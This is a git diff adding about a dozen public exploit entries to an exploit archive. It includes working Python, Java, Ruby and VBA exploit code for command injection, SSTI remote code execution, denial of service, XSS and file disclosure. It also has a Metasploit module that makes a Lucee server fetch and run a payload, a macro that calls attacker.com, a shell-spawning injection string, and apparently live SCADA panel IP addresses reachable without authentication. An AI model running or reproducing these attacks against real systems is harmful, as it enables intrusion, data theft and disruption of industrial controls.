diff --git a/exploits/asp/webapps/51335.txt b/exploits/asp/webapps/51335.txt
new file mode 100644
index 000000000..faa4bbbd9
--- /dev/null
+++ b/exploits/asp/webapps/51335.txt
@@ -0,0 +1,28 @@
+Exploit Title: ENTAB ERP 1.0 - Username PII leak
+Date: 17.05.2022
+Exploit Author: Deb Prasad Banerjee
+Vendor Homepage: https://www.entab.in
+Version: Entab ERP 1.0
+Tested on: Windows IIS
+CVE: CVE-2022-30076
+
+Vulnerability Name: Broken Access control via Rate Limits
+
+Description:
+In the entab software in fapscampuscare.in, there is a login portal with a
+UserId field. An authenticated user would enter and get their name as well
+as other services. However, there should be a rate limit in place, which is
+not present. As a result, a hacker could bypass the system and obtain other
+usernames via broken access control. This enables a threat actor to
+obain the complete full name and user ID of the person.
+
+POC:
+1. Go to fapscampuscare.in or any entab hosted software and find the entab
+software.
+2. Use a proxy to intercept the request.
+3. Since it's a student login, try a random UserId (e.g., s11111).
+4. Intercept the request using Burp Suite and send it to the Intruder.
+5. Select payloads from number 100000-20000, and turn off URL encoding on
+the UserId parameter.
+6. Start the attack and sort by length to obtain the username and full name
+of other users.
\ No newline at end of file
diff --git a/exploits/aspx/webapps/51118.txt b/exploits/aspx/webapps/51118.txt
index 1a3138d00..18081e32b 100644
--- a/exploits/aspx/webapps/51118.txt
+++ b/exploits/aspx/webapps/51118.txt
@@ -19,5 +19,5 @@ POBatch
WaitDuration
#Final URLs
-http://20.36.214.225:81/ProcessWait.aspx?POBatch=&WaitDuration=3
-http://20.36.214.225:81/ProcessWait.aspx?POBatch=test&WaitDuration=
\ No newline at end of file
+http://localost:81/ProcessWait.aspx?POBatch=&WaitDuration=3
+http://localost:81/ProcessWait.aspx?POBatch=test&WaitDuration=
\ No newline at end of file
diff --git a/exploits/cgi/webapps/51347.txt b/exploits/cgi/webapps/51347.txt
new file mode 100644
index 000000000..019679d18
--- /dev/null
+++ b/exploits/cgi/webapps/51347.txt
@@ -0,0 +1,20 @@
+# Exploit Title: ZCBS/ZBBS/ZPBS v4.14k - Reflected Cross-Site Scripting (XSS)
+# Date: 2023-03-30
+# CVE: CVE-2023-26692
+# Exploit Author: Abdulaziz Saad (@b4zb0z)
+# Vendor Homepage: https://www.zcbs.nl
+# Version: 4.14k
+# Tested on: LAMP, Ubuntu
+# Google Dork: inurl:objecten.pl?ident=3D
+
+---
+
+[#] Vulnerability :
+
+`$_GET['ident']`
+
+
+[#] Exploitation :
+
+`https://localhost/cgi-bin/objecten.pl?ident=3D%3Cimg%20src=3Dx%20onerror=
+=3Dalert(%22XSS%22)%3E`
\ No newline at end of file
diff --git a/exploits/hardware/dos/51326.py b/exploits/hardware/dos/51326.py
new file mode 100755
index 000000000..901d8c32a
--- /dev/null
+++ b/exploits/hardware/dos/51326.py
@@ -0,0 +1,67 @@
+# Exploit Title: FortiRecorder 6.4.3 - Denial of Service
+# Google Dork: N/A
+# Date: 13/03/2023
+# Exploit Author: Mohammed Adel
+# Vendor Homepage: https://www.fortinet.com/
+# Software Link: https://www.fortinet.com/products/network-based-video-security/forticam-fortirecorder
+# Version: 6.4.3 and below && 6.0.11 to 6.0.0
+# Tested on: Kali Linux
+# CVE : CVE-2022-41333
+# Security Advisory: https://www.fortiguard.com/psirt/FG-IR-22-388
+# Technical Analysis: https://medium.com/@0xpolar/cve-2022-41333-71eb289d60b5
+
+import requests
+import warnings
+import sys
+from urllib.parse import unquote
+warnings.filterwarnings('ignore', message='Unverified HTTPS request')
+
+def POST(target, req_type, payload):
+ print("[+] Target : "+target)
+ print("[+] Request Type: POST")
+ print("[+] Payload : " +payload)
+ post_url = target+"/module/admin.fe"
+ post_headers = {"User-Agent": "CVE-2022-41333", "Content-Type": "application/x-www-form-urlencoded"}
+ url_decoder = unquote(payload)
+ full_payload = "fewReq="+url_decoder
+ while True:
+ r = requests.post(post_url, headers=post_headers, data=full_payload, verify=False)
+ if "Failed: Access denied" in r.text:
+ print("[+] Payload Sent.")
+ else:
+ print("[!] Something went wrong!")
+ print(r.text)
+
+def GET(target, req_type, payload):
+ print("[+] Target : "+target)
+ print("[+] Request Type: GET")
+ print("[+] Payload : " +payload)
+ while True:
+ url = target+"/module/admin.fe?fewReq="+payload
+ headers = {"User-Agent": "CVE-2022-41333", "Connection": "close"}
+ r = requests.get(url, headers=headers, verify=False)
+ if "Failed: Access denied" in r.text:
+ print("[+] Payload Sent.")
+ else:
+ print("[!] Something went wrong!")
+ print(r.text)
+
+
+print("[+] Starting ..")
+target = str((sys.argv[1])) # https://fortirecorder.fortidemo.com
+req_type = str((sys.argv[2])) # POST or GET
+payload = str((sys.argv[3])) # :B:JSsrJW16blB9dXp8ayJMZmxcfnJee3J2cTltem5efGt2cHEiLio5amx6bXF+cnoi
+
+
+if "post" in req_type.lower():
+ if "https" in target.lower() or "http" in target.lower():
+ POST(target, req_type, payload)
+ else:
+ print("[!] Invalid Target. [Ex: https://fortirecorder.fortidemo.com]")
+elif "get" in req_type.lower():
+ if "https" in target.lower() or "http" in target.lower():
+ GET(target, req_type, payload)
+ else:
+ print("[!] Invalid Target. [Ex: https://fortirecorder.fortidemo.com]")
+else:
+ print("[!] Invalid Request Type.")
\ No newline at end of file
diff --git a/exploits/hardware/remote/51320.txt b/exploits/hardware/remote/51320.txt
new file mode 100644
index 000000000..64a1db3f8
--- /dev/null
+++ b/exploits/hardware/remote/51320.txt
@@ -0,0 +1,38 @@
+# Exploit Title: Schneider Electric v1.0 - Directory traversal & Broken Authentication
+# Google Dork: inurl:/scada-vis
+# Date: 3/11/2023
+# Exploit Author: parsa rezaie khiabanloo
+# Vendor Homepage: https://www.se.com/
+# Version: all-versions
+# Tested on: Windows/Linux/Android
+
+# Attacker can using these dorks and access to the panel without password
+
+inurl:/cgi-bin/scada-vis/
+
+inurl:/scada-vis/schedulers
+
+inurl:/cgi-bin/scada-vis/index.cgi
+
+inurl:/scada-vis
+
+inurl:/cgi-bin/scada-vis/touch.html
+
+POC :
+
+http://185.73.103.144:8080/cgi-bin/scada-vis/index.cgi
+
+http://185.73.103.38:8080/cgi-bin/scada-vis/touch.html
+
+http://88.213.153.98/cgi-bin/scada-vis/schedulers.cgi
+
+
+# Attacker can these this dork for bruteforce the panel
+
+inurl:/scada-vis/pin?return=index
+
+POC :
+
+http://143.176.129.1/scada-vis/pin?return=index
+
+http://62.163.74.206/scada-vis/pin?return=touch
\ No newline at end of file
diff --git a/exploits/hardware/webapps/51325.py b/exploits/hardware/webapps/51325.py
new file mode 100755
index 000000000..0faf0af47
--- /dev/null
+++ b/exploits/hardware/webapps/51325.py
@@ -0,0 +1,53 @@
+# Exploit Title: Altenergy Power Control Software C1.2.5 - OS command injection
+# Google Dork: intitle:"Altenergy Power Control Software"
+# Date: 15/3/2023
+# Exploit Author: Ahmed Alroky
+# Vendor Homepage: https://apsystems.com/
+# Version: C1.2.5
+# Tested on: Windows 10
+# CVE : CVE-2023-28343
+
+
+import requests
+import argparse
+
+def exploit(target,attacker,port):
+ url = f'{target}/index.php/management/set_timezone'
+
+ headers = {
+ 'Accept': 'application/json, text/javascript, */*; q=0.01',
+ 'X-Requested-With': 'XMLHttpRequest',
+ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)
+AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36',
+ 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
+ 'Origin': f'{target}',
+ 'Referer': f'{target}/index.php/management/datetime',
+ 'Accept-Encoding': 'gzip, deflate',
+ 'Accept-Language': 'en-US,en;q=0.9',
+ 'Connection': 'close'
+ }
+
+ print(f"Sending Request")
+ data = {
+ 'timezone': f'`mknod /tmp/pipe p;/bin/sh 0/tmp/pipe`'
+ }
+
+ response = requests.post(url, headers=headers, data=data)
+ # print(response.text)
+if __name__ == "__main__":
+ parser = argparse.ArgumentParser(description='Parse target, attacker,
+and port.',)
+
+ parser.add_argument('--target','-t', type=str, help='The target IP
+address or hostname. example : http://192.168.254')
+ parser.add_argument('--attacker','-a', type=str, help='The attacker IP
+address or hostname.')
+ parser.add_argument('--port', '-p',type=int, help='Listening port')
+
+ args = parser.parse_args()
+ try:
+ exploit(args.target,args.attacker,args.port)
+ except:
+ parser.print_help()
+ print("Exploit done")
\ No newline at end of file
diff --git a/exploits/java/webapps/51339.java b/exploits/java/webapps/51339.java
new file mode 100644
index 000000000..fbe923119
--- /dev/null
+++ b/exploits/java/webapps/51339.java
@@ -0,0 +1,60 @@
+// Exploit Title: Goanywhere Encryption helper 7.1.1 - Remote Code Execution (RCE)
+// Google Dork: title:"GoAnywhere"
+// Date: 3/26/2023
+// Exploit Author: Youssef Muhammad
+// Vendor Homepage: https://www.goanywhere.com/
+// Software Link: https://www.dropbox.com/s/j31l8lgvapbopy3/ga7_0_3_linux_x64.sh?dl=0
+// Version: > 7.1.1 for windows / > 7.0.3 for Linux
+// Tested on: Windows, Linux
+// CVE : CVE-2023-0669
+// This script is needed to encrypt the serialized payload generated by the ysoserial tool in order to achieve Remote Code Execution
+
+import java.util.Base64;
+import javax.crypto.Cipher;
+import java.nio.charset.StandardCharsets;
+import javax.crypto.SecretKeyFactory;
+import javax.crypto.spec.PBEKeySpec;
+import javax.crypto.spec.IvParameterSpec;
+import javax.crypto.spec.SecretKeySpec;
+import java.nio.file.Files;
+import java.nio.file.Paths;
+public class CVE_2023_0669_helper {
+ static String ALGORITHM = "AES/CBC/PKCS5Padding";
+ static byte[] KEY = new byte[30];
+ static byte[] IV = "AES/CBC/PKCS5Pad".getBytes(StandardCharsets.UTF_8);
+ public static void main(String[] args) throws Exception {
+ if (args.length != 2) {
+ System.out.println("Usage: java CVE_2023_0669_helper ");
+ System.exit(1);
+ }
+ String filePath = args[0];
+ String version = args[1];
+ byte[] fileContent = Files.readAllBytes(Paths.get(filePath));
+ String encryptedContent = encrypt(fileContent, version);
+ System.out.println(encryptedContent);
+ }
+ public static String encrypt(byte[] data, String version) throws Exception {
+ Cipher cipher = Cipher.getInstance(ALGORITHM);
+ KEY = (version.equals("2")) ? getInitializationValueV2() : getInitializationValue();
+ SecretKeySpec keySpec = new SecretKeySpec(KEY, "AES");
+ IvParameterSpec ivSpec = new IvParameterSpec(IV);
+ cipher.init(Cipher.ENCRYPT_MODE, keySpec, ivSpec);
+ byte[] encryptedObject = cipher.doFinal(data);
+ String bundle = Base64.getUrlEncoder().encodeToString(encryptedObject);
+ String v = (version.equals("2")) ? "$2" : "";
+ bundle += v;
+ return bundle;
+ }
+ private static byte[] getInitializationValue() throws Exception {
+ // Version 1 Encryption
+ String param1 = "go@nywhereLicenseP@$$wrd";
+ byte[] param2 = {-19, 45, -32, -73, 65, 123, -7, 85};
+ return SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1").generateSecret(new PBEKeySpec(new String(param1.getBytes(), "UTF-8").toCharArray(), param2, 9535, 256)).getEncoded();
+ }
+ private static byte[] getInitializationValueV2() throws Exception {
+ // Version 2 Encryption
+ String param1 = "pFRgrOMhauusY2ZDShTsqq2oZXKtoW7R";
+ byte[] param2 = {99, 76, 71, 87, 49, 74, 119, 83, 109, 112, 50, 75, 104, 107, 56, 73};
+ return SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1").generateSecret(new PBEKeySpec(new String(param1.getBytes(), "UTF-8").toCharArray(), param2, 3392, 256)).getEncoded();
+ }
+}
\ No newline at end of file
diff --git a/exploits/jsp/webapps/51350.txt b/exploits/jsp/webapps/51350.txt
new file mode 100644
index 000000000..6884aa955
--- /dev/null
+++ b/exploits/jsp/webapps/51350.txt
@@ -0,0 +1,28 @@
+# Exploit Title: Pentaho BA Server EE 9.3.0.0-428 - Remote Code Execution (RCE) (Unauthenticated)
+# Author: dwbzn
+# Date: 2022-04-04
+# Vendor: https://www.hitachivantara.com/
+# Software Link: https://www.hitachivantara.com/en-us/products/lumada-dataops/data-integration-analytics/download-pentaho.html
+# Version: Pentaho BA Server 9.3.0.0-428
+# CVE: CVE-2022-43769, CVE-2022-43939
+# Tested on: Windows 11
+# Credits: https://research.aurainfosec.io/pentest/pentah0wnage
+# NOTE: This only works on the enterprise edition. Haven't tested it on Linux, but it should work (don't use notepad.exe).
+
+# Unauthenticated RCE via SSTI using CVE-2022-43769 and CVE-2022-43939 (https://research.aurainfosec.io/pentest/pentah0wnage)
+import requests
+import argparse
+
+parser = argparse.ArgumentParser(description='CVE-2022-43769 + CVE-2022-43939 - Unauthenticated RCE via SSTI')
+parser.add_argument('baseurl', type=str, help='base url e.g. http://127.0.0.1:8080/pentaho')
+parser.add_argument('--cmd', type=str, default='notepad.exe', nargs='?', help='command to execute (default notepad.exe)', required=False)
+args = parser.parse_args()
+
+url = f"{args.baseurl}/api/ldap/config/ldapTreeNodeChildren/require.js?url=%23{{T(java.lang.Runtime).getRuntime().exec('{args.cmd}')}}&mgrDn=a&pwd=a"
+
+print ("running...")
+r = requests.get(url)
+if r.text == 'false':
+ print ("command should've executed! nice.")
+else:
+ print ("didn't work. sadge...")
\ No newline at end of file
diff --git a/exploits/linux/local/51331.txt b/exploits/linux/local/51331.txt
new file mode 100644
index 000000000..afa5cddec
--- /dev/null
+++ b/exploits/linux/local/51331.txt
@@ -0,0 +1,58 @@
+#Exploit Title: Google Chrome 109.0.5414.74 - Code Execution via missing lib file (Ubuntu)
+Product: Google Chrome
+Discovered by: Rafay Baloch and Muhammad Samak
+#Version: 109.0.5414.74
+#Impact: Moderate
+#Company: Cyber Citadel
+#Website: https://www.cybercitadel.com
+#Tested-on : Ubuntu 22.04.1
+
+*Description*
+
+Google chrome attempts to load the 'libssckbi.so' file from a user-writable location.
+PATH: /home/$username/.pki/nssdb/libnssckbi.so
+Since the Shared Library 'ibnssckbi.so' specified path is writeable.
+It is possible to achieve the Code Execution by placing the malicious file with
+the name `libnssckbi.so` in the specified path.
+
+
+
+*exploit*
+
+Following is the POC that could be used to reproduce the issue:
+
+echo "\n\t\t\tGoogle-Chrome Shared Library Code Execution..."
+echo "[*] Checking /.pki/nssdb PATH"
+if [ -d "/home/haalim/.pki/nssdb" ]
+then
+
+ echo "[+] Directory Exists..."
+ if [ -w "/home/haalim/.pki/nssdb" ]
+ then
+ echo "[+] Directory is writable..."
+
+ echo "[+] Directory is writable..."
+ echo "[+] Generating malicious File libnssckbi.so ..."
+ echo "#define _GNU_SOURCE" > /home/haalim/.pki/nssdb/exploit.c
+ echo "#include " >> /home/haalim/.pki/nssdb/exploit.c
+ echo "#include " >> /home/haalim/.pki/nssdb/exploit.c
+ echo "#include " >> /home/haalim/.pki/nssdb/exploit.c
+ echo "void f() {" >> /home/haalim/.pki/nssdb/exploit.c
+ echo 'printf("Code Executed............ TMGM :)\n");' >> /home/haalim/.pki/nssdb/exploit.c
+ echo "}" >> /home/haalim/.pki/nssdb/exploit.c
+ gcc -c -Wall -Werror -fpic /home/haalim/.pki/nssdb/exploit.c -o /home/haalim/.pki/nssdb/exploit.o
+ gcc -shared -o /home/haalim/.pki/nssdb/libnssckbi.so -Wl,-init,f /home/haalim/.pki/nssdb/exploit.o
+
+
+ fi
+
+fi
+
+Upon closing the browser windows, the application executes the malicious code
+
+
+*Impact*
+
+The attacker can use this behavior to bypass the application whitelisting rules.
+This behavior can also lead to DoS attacks.
+An attacker can trick a victim into supplying credentials by creating a fake prompt.
\ No newline at end of file
diff --git a/exploits/multiple/local/51333.rb b/exploits/multiple/local/51333.rb
new file mode 100755
index 000000000..b8bee24bd
--- /dev/null
+++ b/exploits/multiple/local/51333.rb
@@ -0,0 +1,331 @@
+# Exploit Title: Lucee Scheduled Job v1.0 - Command Execution
+# Date: 3-23-2012
+# Exploit Author: Alexander Philiotis
+# Vendor Homepage: https://www.lucee.org/
+# Software Link: https://download.lucee.org/
+# Version: All versions with scheduled jobs enabled
+# Tested on: Linux - Debian, Lubuntu & Windows 10
+# Ref : https://www.synercomm.com/blog/scheduled-tasks-with-lucee-abusing-built-in-functionality-for-command-execution/
+
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+ Rank = ExcellentRanking
+
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Exploit::Remote::HttpServer::HTML
+ include Msf::Exploit::Retry
+ include Msf::Exploit::FileDropper
+ require 'base64'
+
+ def initialize(info = {})
+ super(
+ update_info(
+ info,
+ 'Name' => 'Lucee Authenticated Scheduled Job Code Execution',
+ 'Description' => %q{
+ This module can be used to execute a payload on Lucee servers that have an exposed
+ administrative web interface. It's possible for an administrator to create a
+ scheduled job that queries a remote ColdFusion file, which is then downloaded and executed
+ when accessed. The payload is uploaded as a cfm file when queried by the target server. When executed,
+ the payload will run as the user specified during the Lucee installation. On Windows, this is a service account;
+ on Linux, it is either the root user or lucee.
+ },
+ 'Targets' => [
+ [
+ 'Windows Command',
+ {
+ 'Platform' => 'win',
+ 'Arch' => ARCH_CMD,
+ 'Type' => :windows_cmd
+ }
+ ],
+ [
+ 'Unix Command',
+ {
+ 'Platform' => 'unix',
+ 'Arch' => ARCH_CMD,
+ 'Type' => :unix_cmd
+ }
+ ]
+ ],
+ 'Author' => 'Alexander Philiotis', # aphiliotis@synercomm.com
+ 'License' => MSF_LICENSE,
+ 'References' => [
+ # This abuses the functionality inherent to the Lucee platform and
+ # thus is not related to any CVEs.
+
+ # Lucee Docs
+ ['URL', 'https://docs.lucee.org/'],
+
+ # cfexecute & cfscript documentation
+ ['URL', 'https://docs.lucee.org/reference/tags/execute.html'],
+ ['URL', 'https://docs.lucee.org/reference/tags/script.html'],
+ ],
+ 'DefaultTarget' => 0,
+ 'Notes' => {
+ 'Stability' => [CRASH_SAFE],
+ 'Reliability' => [REPEATABLE_SESSION],
+ 'SideEffects' => [
+ # /opt/lucee/server/lucee-server/context/logs/application.log
+ # /opt/lucee/web/logs/exception.log
+ IOC_IN_LOGS,
+ ARTIFACTS_ON_DISK,
+ # ColdFusion files located at the webroot of the Lucee server
+ # C:/lucee/tomcat/webapps/ROOT/ by default on Windows
+ # /opt/lucee/tomcat/webapps/ROOT/ by default on Linux
+ ]
+ },
+ 'Stance' => Msf::Exploit::Stance::Aggressive,
+ 'DisclosureDate' => '2023-02-10'
+ )
+ )
+
+ register_options(
+ [
+ Opt::RPORT(8888),
+ OptString.new('PASSWORD', [false, 'The password for the administrative interface']),
+ OptString.new('TARGETURI', [true, 'The path to the admin interface.', '/lucee/admin/web.cfm']),
+ OptInt.new('PAYLOAD_DEPLOY_TIMEOUT', [false, 'Time in seconds to wait for access to the payload', 20]),
+ ]
+ )
+ deregister_options('URIPATH')
+ end
+
+ def exploit
+ payload_base = rand_text_alphanumeric(8..16)
+ authenticate
+
+ start_service({
+ 'Uri' => {
+ 'Proc' => proc do |cli, req|
+ print_status("Payload request received for #{req.uri} from #{cli.peerhost}")
+ send_response(cli, cfm_stub)
+ end,
+ 'Path' => '/' + payload_base + '.cfm'
+ }
+ })
+
+ #
+ # Create the scheduled job
+ #
+ create_job(payload_base)
+
+ #
+ # Execute the scheduled job and attempt to send a GET request to it.
+ #
+ execute_job(payload_base)
+ print_good('Exploit completed.')
+
+ #
+ # Removes the scheduled job
+ #
+ print_status('Removing scheduled job ' + payload_base)
+ cleanup_request = send_request_cgi({
+ 'method' => 'POST',
+ 'uri' => normalize_uri(target_uri.path),
+ 'vars_get' => {
+ 'action' => 'services.schedule'
+ },
+ 'vars_post' => {
+ 'row_1' => '1',
+ 'name_1' => payload_base.to_s,
+ 'mainAction' => 'delete'
+ }
+ })
+ if cleanup_request && cleanup_request.code == 302
+ print_good('Scheduled job removed.')
+ else
+ print_bad('Failed to remove scheduled job.')
+ end
+ end
+
+ def authenticate
+ auth = send_request_cgi({
+ 'method' => 'POST',
+ 'uri' => normalize_uri(target_uri.path),
+ 'keep_cookies' => true,
+ 'vars_post' => {
+ 'login_passwordweb' => datastore['PASSWORD'],
+ 'lang' => 'en',
+ 'rememberMe' => 's',
+ 'submit' => 'submit'
+ }
+ })
+
+ unless auth
+ fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
+ end
+
+ unless auth.code == 200 && auth.body.include?('nav_Security')
+ fail_with(Failure::NoAccess, 'Unable to authenticate. Please double check your credentials and try again.')
+ end
+
+ print_good('Authenticated successfully')
+ end
+
+ def create_job(payload_base)
+ create_job = send_request_cgi({
+ 'method' => 'POST',
+ 'uri' => normalize_uri(target_uri.path),
+ 'keep_cookies' => true,
+ 'vars_get' => {
+ 'action' => 'services.schedule',
+ 'action2' => 'create'
+ },
+ 'vars_post' => {
+ 'name' => payload_base,
+ 'url' => get_uri.to_s,
+ 'interval' => '3600',
+ 'start_day' => '01',
+ 'start_month' => '02',
+ 'start_year' => '2023',
+ 'start_hour' => '00',
+ 'start_minute' => '00',
+ 'start_second' => '00',
+ 'run' => 'create'
+ }
+ })
+
+ fail_with(Failure::Unreachable, 'Could not connect to the web service') if create_job.nil?
+ fail_with(Failure::UnexpectedReply, 'Unable to create job') unless create_job.code == 302
+
+ print_good('Job ' + payload_base + ' created successfully')
+ job_file_path = file_path = webroot
+ fail_with(Failure::UnexpectedReply, 'Could not identify the web root') if job_file_path.blank?
+
+ case target['Type']
+ when :unix_cmd
+ file_path << '/'
+ job_file_path = "#{job_file_path.gsub('/', '//')}//"
+ when :windows_cmd
+ file_path << '\\'
+ job_file_path = "#{job_file_path.gsub('\\', '\\\\')}\\"
+ end
+ update_job = send_request_cgi({
+ 'method' => 'POST',
+ 'uri' => target_uri.path,
+ 'keep_cookies' => true,
+ 'vars_get' => {
+ 'action' => 'services.schedule',
+ 'action2' => 'edit',
+ 'task' => create_job.headers['location'].split('=')[-1]
+ },
+ 'vars_post' => {
+ 'name' => payload_base,
+ 'url' => get_uri.to_s,
+ 'port' => datastore['SRVPORT'],
+ 'timeout' => '50',
+ 'username' => '',
+ 'password' => '',
+ 'proxyserver' => '',
+ 'proxyport' => '',
+ 'proxyuser' => '',
+ 'proxypassword' => '',
+ 'publish' => 'true',
+ 'file' => "#{job_file_path}#{payload_base}.cfm",
+ 'start_day' => '01',
+ 'start_month' => '02',
+ 'start_year' => '2023',
+ 'start_hour' => '00',
+ 'start_minute' => '00',
+ 'start_second' => '00',
+ 'end_day' => '',
+ 'end_month' => '',
+ 'end_year' => '',
+ 'end_hour' => '',
+ 'end_minute' => '',
+ 'end_second' => '',
+ 'interval_hour' => '1',
+ 'interval_minute' => '0',
+ 'interval_second' => '0',
+ 'run' => 'update'
+ }
+ })
+
+ fail_with(Failure::Unreachable, 'Could not connect to the web service') if update_job.nil?
+ fail_with(Failure::UnexpectedReply, 'Unable to update job') unless update_job.code == 302 || update_job.code == 200
+ register_files_for_cleanup("#{file_path}#{payload_base}.cfm")
+ print_good('Job ' + payload_base + ' updated successfully')
+ end
+
+ def execute_job(payload_base)
+ print_status("Executing scheduled job: #{payload_base}")
+ job_execution = send_request_cgi({
+ 'method' => 'POST',
+ 'uri' => normalize_uri(target_uri.path),
+ 'vars_get' => {
+ 'action' => 'services.schedule'
+ },
+ 'vars_post' => {
+ 'row_1' => '1',
+ 'name_1' => payload_base,
+ 'mainAction' => 'execute'
+ }
+
+ })
+
+ fail_with(Failure::Unreachable, 'Could not connect to the web service') if job_execution.nil?
+ fail_with(Failure::Unknown, 'Unable to execute job') unless job_execution.code == 302 || job_execution.code == 200
+
+ print_good('Job ' + payload_base + ' executed successfully')
+
+ payload_response = nil
+ retry_until_truthy(timeout: datastore['PAYLOAD_DEPLOY_TIMEOUT']) do
+ print_status('Attempting to access payload...')
+ payload_response = send_request_cgi(
+ 'uri' => '/' + payload_base + '.cfm',
+ 'method' => 'GET'
+ )
+ payload_response.nil? || (payload_response && payload_response.code == 200 && payload_response.body.exclude?('Error')) || (payload_response.code == 500)
+ end
+
+ # Unix systems tend to return a 500 response code when executing a shell. Windows tends to return a nil response, hence the check for both.
+ fail_with(Failure::Unknown, 'Unable to execute payload') unless payload_response.nil? || payload_response.code == 200 || payload_response.code == 500
+
+ if payload_response.nil?
+ print_status('No response from ' + payload_base + '.cfm' + (session_created? ? '' : ' Check your listener!'))
+ elsif payload_response.code == 200
+ print_good('Received 200 response from ' + payload_base + '.cfm')
+ output = payload_response.body.strip
+ if output.include?("\n")
+ print_good('Output:')
+ print_line(output)
+ elsif output.present?
+ print_good('Output: ' + output)
+ end
+ elsif payload_response.code == 500
+ print_status('Received 500 response from ' + payload_base + '.cfm' + (session_created? ? '' : ' Check your listener!'))
+ end
+ end
+
+ def webroot
+ res = send_request_cgi({
+ 'method' => 'GET',
+ 'uri' => normalize_uri(target_uri.path)
+ })
+ return nil unless res
+
+ res.get_html_document.at('[text()*="Webroot"]')&.next&.next&.text
+ end
+
+ def cfm_stub
+ case target['Type']
+ when :windows_cmd
+ <<~CFM.gsub(/^\s+/, '').tr("\n", '')
+
+ cfexecute(name="cmd.exe", arguments="/c " & toString(binaryDecode("#{Base64.strict_encode64(payload.encoded)}", "base64")),timeout=5);
+
+ CFM
+ when :unix_cmd
+ <<~CFM.gsub(/^\s+/, '').tr("\n", '')
+
+ cfexecute(name="/bin/bash", arguments=["-c", toString(binaryDecode("#{Base64.strict_encode64(payload.encoded)}", "base64"))],timeout=5);
+
+ CFM
+ end
+ end
+end
\ No newline at end of file
diff --git a/exploits/multiple/remote/51328.txt b/exploits/multiple/remote/51328.txt
new file mode 100644
index 000000000..b64df1af2
--- /dev/null
+++ b/exploits/multiple/remote/51328.txt
@@ -0,0 +1,58 @@
+## Exploit Title: Microsoft Excel 365 MSO (Version 2302 Build 16.0.16130.20186) 64-bit - Remote Code Execution (RCE)
+## Exploit Author: nu11secur1ty
+## Date: 03.16.2023
+## Vendor: https://www.microsoft.com/en-us/microsoft-365/excel
+## Software: https://www.microsoft.com/en-us/microsoft-365/excel
+## Reference: https://www.invicti.com/learn/remote-code-execution-rce/
+## CVE ID: CVE-2023-23399
+
+## Description:
+The malicious user can exploit the victim's PC remotely.
+For example, when the score indicates that the Attack Vector is Local
+and User Interaction is Required, this could describe an exploit in
+which an attacker, through social engineering, convinces a victim to
+download and open a specially crafted file from a website which leads
+to a local attack on their computer.
+
+STATUS: HIGH Vulnerability
+
+[+]Exploit0:
+```
+Sub Check_your_salaries()
+CreateObject("Shell.Application").ShellExecute
+"microsoft-edge:https://attacker.com"
+End Sub
+```
+[+]Exploit1:
+```
+Sub cmd()
+Dim Program As String
+Dim TaskID As Double
+On Error Resume Next
+Program = "cmd.exe"
+TaskID = Shell(Program, 1)
+If Err <> 0 Then
+MsgBox "Can't start " & Program
+End If
+End Sub
+```
+
+## Reproduce:
+[href](https://github.com/nu11secur1ty/CVE-mitre/tree/main/2023/CVE-2023-23399)
+
+## Proof and Exploit:
+[href](https://streamable.com/dnyfx0)
+
+## Time spend:
+03:00:00
+
+
+--
+System Administrator - Infrastructure Engineer
+Penetration Testing Engineer
+Exploit developer at
+https://packetstormsecurity.com/https://cve.mitre.org/index.html and
+https://www.exploit-db.com/
+home page: https://www.nu11secur1ty.com/
+hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
+ nu11secur1ty
\ No newline at end of file
diff --git a/exploits/multiple/webapps/51327.txt b/exploits/multiple/webapps/51327.txt
new file mode 100644
index 000000000..21509bc57
--- /dev/null
+++ b/exploits/multiple/webapps/51327.txt
@@ -0,0 +1,41 @@
+# Title: Adobe Connect 11.4.5 - Local File Disclosure
+# Author: h4shur
+# date:2021.01.16-2023.02.17
+# CVE: CVE-2023-22232
+# Vendor Homepage: https://www.adobe.com
+# Software Link: https://www.adobe.com/products/adobeconnect.html
+# Version: 11.4.5 and earlier, 12.1.5 and earlier
+# User interaction: None
+# Tested on: Windows 10 & Google Chrome, kali linux & firefox
+
+### Summary:
+Adobe Connect versions 11.4.5 (and earlier), 12.1.5 (and earlier) are affected by an Improper Access Control vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to impact the integrity of a minor feature.
+Exploitation of this issue does not require user interaction.
+
+### Description :
+There are many web applications in the world, each of which has vulnerabilities due to developer errors, and this is a problem for all of them, and even the best of them, like the "adobe connect" program, have vulnerabilities that occur every month. They are found and fixed by the team.
+* What is LFD bug?
+LFD bug stands for Local File Disclosure / Download, which generally allows the attacker to read and download files within the server, so it can be considered a very dangerous bug in the web world and programmers must be aware of it. Be careful and maintain security against this bug
+* Intruder access level with LFD bug
+The level of access using this bug can be even increased to the level of access to the website database in such a way that the hacker reads sensitive files inside the server that contain database entry information and enters the database and by extracting the information The admin will have a high level of access
+* Identify vulnerable sites
+To search for LFD bugs, you should check the site inputs. If there is no problem with receiving ./ characters, you can do the test to read the files inside the server if they are vulnerable. Enter it and see if it is read or not, or you can use files inside the server such as / etc / passwd / .. and step by step using ../ to return to the previous path to find the passwd file
+* And this time the "lfd" in "adobe connect" bug:
+To download and exploit files, you must type the file path in the "download-url" variable and the file name and extension in the "name" variable.
+You can download the file by writing the file path and file name and extension.
+When you have written the file path, file name and extension in the site address variables, a download page from Adobe Connect will open for you, with "Save to My Computer
+file name]" written in the download box and a file download link at the bottom of the download box, so you can download the file.
+* There are values inside the url that do not allow a file other than this file to be downloaded.
+* Values: sco_id and tickets
+But if these values are cleared, you will see that reloading is possible without any obstacles
+At another address, you can download multiple files as a zip file.
+We put the address of the files in front of the variable "ffn" and if we want to add the file, we add the variable "ffn" again and put the address of the file in front of it. The "download_type" variable is also used to specify the zip extension.
+
+### POC :
+https://target.com/[folder]/download?download-url=[URL]&name=[file.type]
+https://target.com/[folder]/download?output=output&download_type=[Suffix]&ffn=[URL]&baseContentUrl=[base file folder]
+
+### References:
+https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-22232
